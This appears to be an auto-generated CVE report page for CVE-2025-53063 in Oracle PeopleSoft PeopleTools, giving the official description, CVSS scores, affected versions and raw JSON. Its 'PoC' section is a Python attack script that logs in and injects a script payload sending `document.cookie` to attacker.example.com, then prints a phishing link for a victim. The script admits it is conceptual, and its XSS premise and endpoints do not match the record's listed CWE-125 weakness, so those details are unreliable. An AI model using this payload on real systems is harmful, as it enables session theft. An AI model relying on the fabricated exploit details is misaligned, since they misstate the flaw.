Security Vulnerability Report
中文
CVE-2025-53063 CVSS 5.4 MEDIUM

CVE-2025-53063

Published: 2025-10-21 20:20:47
Last Modified: 2025-10-23 16:03:45

Description

Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: PIA Core Technology). Supported versions that are affected are 8.60, 8.61 and 8.62. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in PeopleSoft Enterprise PeopleTools, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of PeopleSoft Enterprise PeopleTools accessible data as well as unauthorized read access to a subset of PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.60:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.61:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.62:*:*:*:*:*:*:* - VULNERABLE
Oracle PeopleSoft Enterprise PeopleTools 8.60
Oracle PeopleSoft Enterprise PeopleTools 8.61
Oracle PeopleSoft Enterprise PeopleTools 8.62

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-53063 - Oracle PeopleSoft PeopleTools PIA Core Technology XSS PoC # Note: This is a conceptual PoC based on vulnerability description. # Actual exploitation requires a valid low-privileged account on the target system. import requests from urllib.parse import urljoin TARGET_URL = "https://target-peoplesoft.example.com" ATTACKER_SESSION = "attacker_session_cookie" MALICIOUS_PAYLOAD = '<script>fetch("https://attacker.example.com/steal?data="+document.cookie)</script>' def exploit_xss(base_url, session_cookie, payload): """ Exploit XSS vulnerability in PIA Core Technology component. The attacker injects malicious script into a PeopleSoft page field that is rendered without proper sanitization. """ session = requests.Session() session.cookies.set("PS_TOKEN", session_cookie) session.headers.update({ "User-Agent": "Mozilla/5.0 (compatible; PoC)", "Content-Type": "application/x-www-form-urlencoded" }) # Step 1: Authenticate to PeopleSoft with low-privileged credentials login_url = urljoin(base_url, "/psp/ps/EMPLOYEE/CRM/signon.html") login_data = { "userid": "low_priv_user", "pwd": "password123", "ptmode": "f" } session.post(login_url, data=login_data) # Step 2: Inject malicious payload into a vulnerable input field # Common vulnerable endpoints in PIA Core Technology vulnerable_endpoints = [ "/psp/ps/EMPLOYEE/CRM/c/MAINTAIN_SECURITY.QUESTION.FORM", "/psp/ps/EMPLOYEE/CRM/c/SELFSERVICE_ADDRESS.FORM", "/psp/ps/EMPLOYEE/CRM/c/WORKFLOW.ATTACHMENT.FORM" ] for endpoint in vulnerable_endpoints: inject_url = urljoin(base_url, endpoint) inject_data = { "field1": payload, "field2": "normal_value", "submit": "Save" } response = session.post(inject_url, data=inject_data) if response.status_code == 200: print(f"[+] Payload injected via {endpoint}") # Step 3: Craft phishing link to deliver to victim (high-privileged user) phishing_url = urljoin(base_url, "/psp/ps/EMPLOYEE/CRM/s/WEBLIB_PTBR.ISCRIPT1.FieldFormula.IScript_View") print(f"[+] Send this URL to victim: {phishing_url}") print(f"[+] When victim clicks, script executes in their browser context") if __name__ == "__main__": exploit_xss(TARGET_URL, ATTACKER_SESSION, MALICIOUS_PAYLOAD)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-53063", "sourceIdentifier": "[email protected]", "published": "2025-10-21T20:20:46.600", "lastModified": "2025-10-23T16:03:45.477", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: PIA Core Technology). Supported versions that are affected are 8.60, 8.61 and 8.62. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in PeopleSoft Enterprise PeopleTools, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of PeopleSoft Enterprise PeopleTools accessible data as well as unauthorized read access to a subset of PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.60:*:*:*:*:*:*:*", "matchCriteriaId": "AF191D4F-3D54-4525-AAF5-B70D3FD2F818"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.61:*:*:*:*:*:*:*", "matchCriteriaId": "18F15FC6-947A-462A-8329-C52907799A7C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.62:*:*:*:*:*:*:*", "matchCriteriaId": "FF0E4EFC-096B-4861-8D55-D8DAA37A21E9"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpuoct2025.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}